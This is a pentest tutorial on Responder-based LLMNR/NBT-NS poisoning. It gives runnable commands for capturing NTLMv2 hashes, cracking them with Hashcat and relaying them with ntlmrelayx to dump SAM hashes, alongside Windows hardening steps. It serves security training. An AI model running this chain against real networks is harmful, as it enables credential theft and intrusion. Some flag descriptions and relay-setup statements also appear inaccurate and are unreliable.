Responder LLMNR/NBT-NS Poisoning Tutorial

LLMNR (Link-Local Multicast Name Resolution) and NBT-NS (NetBIOS Name Service) are legacy Windows name-resolution protocols that remain enabled by default on most corporate Windows networks. These protocols are a goldmine for network penetration testers because they broadcast queries when DNS fails — and any host on the local network can respond with a poisoned answer. Responder is the go-to tool for exploiting this behavior in authorized assessments.

This tutorial walks you through setting up and running Responder in a lab environment, capturing NTLMv2 hashes, and understanding what a real attacker would do with them next.

Legal reminder: Only use Responder on networks you own or have explicit written permission to test. Unauthorized interception of credentials is a criminal offense in most jurisdictions.

---

How LLMNR/NBT-NS Poisoning Works

When a Windows machine tries to resolve a hostname and DNS fails (typo, missing record, etc.), Windows falls back to LLMNR, then NBT-NS, broadcasting the query to the local subnet. Responder listens for these broadcasts and answers every query with its own IP address. The victim machine then attempts to authenticate to that IP — typically via NTLM — sending a Net-NTLMv2 hash that Responder captures.

The attack flow looks like this:

1. User on CORP-PC01 tries to access \\FILESERV (mistyped or non-existent share)
2. DNS fails to resolve FILESERV
3. Windows broadcasts an LLMNR query: “Who knows where FILESERV is?”
4. Responder on the attacker’s machine replies: “That’s me!”
5. CORP-PC01 sends an NTLMv2 authentication attempt to the attacker
6. Responder logs the hash

---

Lab Setup

For safe, legal practice you need an isolated virtual network. A minimal lab requires:

Machine	OS	Role
Attacker	Kali Linux / Parrot OS	Running Responder
Victim	Windows 10/11 or Server 2019	Target workstation
(Optional)	Windows Server 2019	Domain Controller

All machines should be on the same host-only or internal VMware/VirtualBox network so traffic stays isolated from your real LAN. Confirm Responder is installed on Kali:

which responder
# /usr/bin/responder

responder --version
# Responder 3.1.4.0

If not present, install it:

sudo apt update && sudo apt install responder -y

---

Running Responder

Identify Your Interface

First, identify which network interface is on the same subnet as your lab machines:

ip a
# Look for your host-only adapter, commonly eth1, eth0, or ens33

Basic Poisoning Mode

Launch Responder on your attacker interface. The -I flag specifies the interface, -rdw enables LLMNR, NBT-NS, and WPAD poisoning:

sudo responder -I eth0 -rdw

You’ll see the Responder banner followed by a list of active servers:

[+] Poisoners:
    LLMNR                      [ON]
    NBT-NS                     [ON]
    MDNS                       [ON]
    DNS                        [ON]
    DHCP                       [OFF]

[+] Servers:
    HTTP server                [ON]
    HTTPS server               [ON]
    WPAD proxy                 [ON]
    Auth proxy                 [OFF]
    SMB server                 [ON]
    Kerberos server            [ON]
    SQL server                 [ON]
    FTP server                 [ON]
    IMAP server                [ON]
    POP3 server                [ON]
    SMTP server                [ON]
    DNS server                 [ON]
    LDAP server                [ON]
    RDP server                 [ON]
    DCE-RPC server             [ON]
    WinRM server               [ON]

Triggering the Attack from the Victim

On your Windows victim machine, open a File Explorer window and try to browse to a non-existent share on a hostname that doesn’t exist in DNS:

\\NOTAREALHOST\share

Or run from a command prompt:

net use \\FAKEHOSTNAME\share

Within seconds, Responder should capture a hash on the attacker machine:

[SMB] NTLMv2-SSP Client   : 192.168.56.102
[SMB] NTLMv2-SSP Username : CORP\jsmith
[SMB] NTLMv2-SSP Hash     : jsmith::CORP:aad3b435b51404ee:5a4f...

---

Analyzing Captured Hashes

Responder stores all captured hashes in /usr/share/responder/logs/. The hash files are named by protocol and victim IP:

ls /usr/share/responder/logs/
# SMB-NTLMv2-SSP-192.168.56.102.txt
# HTTP-NTLMv2-192.168.56.101.txt

Cracking with Hashcat

NTLMv2 hashes (mode 5600 in Hashcat) can be cracked offline against a wordlist:

hashcat -m 5600 /usr/share/responder/logs/SMB-NTLMv2-SSP-192.168.56.102.txt \
  /usr/share/wordlists/rockyou.txt --force

With a weak password like Password1!, Hashcat will crack it quickly:

jsmith::CORP:aad3b435b51404ee:....:Password1!

Passing the Hash vs. Cracking

If you’re in a time-constrained pentest, note that NTLMv2 hashes cannot be directly passed — you need the plaintext or NTLM hash (not NTLMv2). Cracking is required first, or you pivot to other techniques like relay attacks.

---

NTLM Relay: The More Dangerous Attack

Cracking isn’t always necessary. If SMB signing is disabled on the target (common in workstation-to-workstation scenarios), you can relay the captured authentication in real time using ntlmrelayx.py from Impacket.

Run Responder with SMB and HTTP servers off (so they don’t try to capture — instead relaying happens via ntlmrelayx):

sudo responder -I eth0 -rdw --disable-ess

Disable Responder’s own SMB/HTTP so ntlmrelayx can take those ports:

Edit /etc/responder/Responder.conf:

[Responder Core]
SMB = Off
HTTP = Off

Then launch ntlmrelayx targeting a machine where SMB signing is off:

sudo python3 /usr/share/doc/python3-impacket/examples/ntlmrelayx.py \
  -t smb://192.168.56.103 -smb2support

If successful, ntlmrelayx dumps SAM hashes or executes commands on the target — no password cracking needed.

---

Defensive Countermeasures

Understanding how to attack helps you advise clients on hardening. Key mitigations:

• Disable LLMNR via Group Policy: Computer Configuration > Administrative Templates > Network > DNS Client > Turn off multicast name resolution
• Disable NBT-NS: In Network Adapter properties > TCP/IPv4 > Advanced > WINS tab > “Disable NetBIOS over TCP/IP”
• Enable SMB Signing on all hosts, especially workstations
• Deploy WPAD detection and block WPAD DNS entries
• Use network segmentation so workstations can’t send broadcasts to untrusted subnets

---

Key Takeaways

Responder is one of the most effective internal network attack tools because it exploits a design flaw rather than a software vulnerability — and that flaw ships enabled on virtually every Windows machine. In a red team or internal pentest, running Responder passively on a corporate subnet for even 30 minutes almost always yields credentials.

The full attack chain — LLMNR poisoning → NTLMv2 capture → hash cracking or relay → lateral movement — is a staple of real-world breach simulations and features in nearly every Active Directory-focused certification lab, including OSCP, CRTP, and the eJPT.